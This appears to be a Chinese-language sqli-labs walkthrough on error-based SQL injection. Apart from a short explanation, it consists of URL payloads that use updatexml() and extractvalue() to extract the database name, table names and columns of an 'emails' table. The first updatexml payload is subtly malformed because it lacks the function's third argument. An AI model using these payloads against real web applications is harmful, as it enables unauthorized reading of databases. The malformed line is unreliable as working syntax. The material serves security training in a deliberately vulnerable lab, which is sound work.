sqli-labs-master(报错注入)

报错注入

报错注入主要运用三个函数为:updatexml(),extractvalue(),floor().前二者皆是通过构造错误的xml格式获取到数据库内容,floor()函数是配合rand()函数构成数据库查询主键重复错误来获取数据库内容。对updatexml()与extractvalue()函数比较熟悉，这里只介绍这两种。

updatexml()示例:

#获取数据库payload
?id=1' and updatexml(1,concat(0x7e,database(),0x7e)) --+
#获取表数量
?id=1' and updatexml(1,concat(0x7e,(select count(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --+
#获取表数据
?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)--+
?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e),1)--+
?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 2,1),0x7e),1)--+
?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x7e),1)--+
#获取emails表里的段名
?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name = "emails" limit 0,1),0x7e),1)--+
?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name = "emails" limit 1,1),0x7e),1)--+

截图只放一部分

extractvalue()示例:

#获取数据库payload
?id=1' and extractvalue(1,concat(0x7e,database())) --+
#获取表数量
?id=1' and extractvalue(1,concat(0x7e,(select count(table_name) from information_schema.tables where table_schema=database())))--+
#获取表数据
?id=1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)))--+
?id=1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1)))--+
?id=1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 2,1)))--+
?id=1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1)))--+
#获取emails表里的段名
?id=1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name = "emails" limit 0,1)))--+
?id=1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name = "emails" limit 1,1)))--+